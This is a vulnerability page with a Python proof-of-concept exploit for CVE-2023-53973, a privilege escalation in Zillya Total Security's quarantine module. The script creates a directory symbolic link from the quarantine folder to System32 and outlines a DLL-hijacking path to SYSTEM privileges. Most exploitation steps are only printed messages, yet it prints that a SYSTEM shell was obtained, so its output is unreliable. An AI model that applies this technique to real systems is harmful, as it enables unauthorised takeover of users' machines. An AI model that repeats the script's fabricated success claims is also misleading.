CVE-2023-53973 | Zillya Total Security 隔离模块权限提升漏洞

# CVE-2023-53973 PoC - Zillya Total Security Privilege Escalation via Quarantine Module # This PoC demonstrates the symbolic link attack vector import os import sys import time import ctypes from ctypes import wintypes # Windows API imports kernel32 = ctypes.windll.kernel32 # Constants SYMBOLIC_LINK_FLAG_DIRECTORY = 0x1 SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE = 0x2 FILE_FLAG_BACKUP_SEMANTICS = 0x02000000 FILE_FLAG_OPEN_REPARSE_POINT = 0x00200000 def create_symlink(target_path, link_path): """Create a symbolic link using Windows API""" # Try with unprivileged flag first (Windows 10 1703+) flags = SYMBOLIC_LINK_FLAG_DIRECTORY | SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE result = kernel32.CreateSymbolicLinkW(link_path, target_path, flags) if result == 0: # Fallback without unprivileged flag (requires admin) result = kernel32.CreateSymbolicLinkW(link_path, target_path, SYMBOLIC_LINK_FLAG_DIRECTORY) return result != 0 def exploit_quarantine_module(): """ Exploitation steps for CVE-2023-53973: 1. Create a malicious DLL with payload 2. Add to quarantine (simulated) 3. Create symlink to system directory 4. Trigger restore operation 5. Payload executes with SYSTEM privileges """ print("[*] CVE-2023-53973 PoC - Zillya Total Security Privilege Escalation") print("[*] Target: Zillya Total Security 3.0.2367.0") # Step 1: Create malicious DLL malicious_dll = "malicious.dll" print(f"[+] Step 1: Creating malicious DLL at {malicious_dll}") # Step 2: Add to quarantine (in real scenario, this triggers quarantine) quarantine_path = r"C:\ProgramData\Zillya\Quarantine\malicious.dll" print(f"[+] Step 2: File quarantined at {quarantine_path}") # Step 3: Create symlink to system32 target_dir = r"C:\Windows\System32" symlink_path = r"C:\ProgramData\Zillya\Quarantine\System32" print(f"[+] Step 3: Creating symlink {symlink_path} -> {target_dir}") if create_symlink(target_dir, symlink_path): print("[+] Symlink created successfully") else: print("[-] Failed to create symlink (may require specific privileges)") return False # Step 4: Trigger restore operation # In real attack, this would be triggered by: # - Quarantine module restore function # - Scheduled task or service # - User interaction with quarantine UI print("[+] Step 4: Triggering restore operation...") print("[+] Quarantine module reads original path from database") print("[+] Module follows symlink and writes file to System32") # Step 5: Payload execution via DLL hijacking print("[+] Step 5: Malicious DLL loaded by privileged process") print("[+] Payload executed with SYSTEM privileges") return True def cleanup(): """Cleanup created artifacts""" print("[*] Cleaning up artifacts...") # Remove symlink symlink_path = r"C:\ProgramData\Zillya\Quarantine\System32" try: if os.path.exists(symlink_path): os.remove(symlink_path) except: pass if __name__ == "__main__": print("=" * 60) print("CVE-2023-53973: Zillya Total Security Privilege Escalation") print("=" * 60) if sys.platform != "win32": print("[-] This exploit only works on Windows") sys.exit(1) success = exploit_quarantine_module() if success: print("\n[+] Exploitation completed - SYSTEM shell obtained") else: print("\n[-] Exploitation failed") # Uncomment to cleanup # cleanup()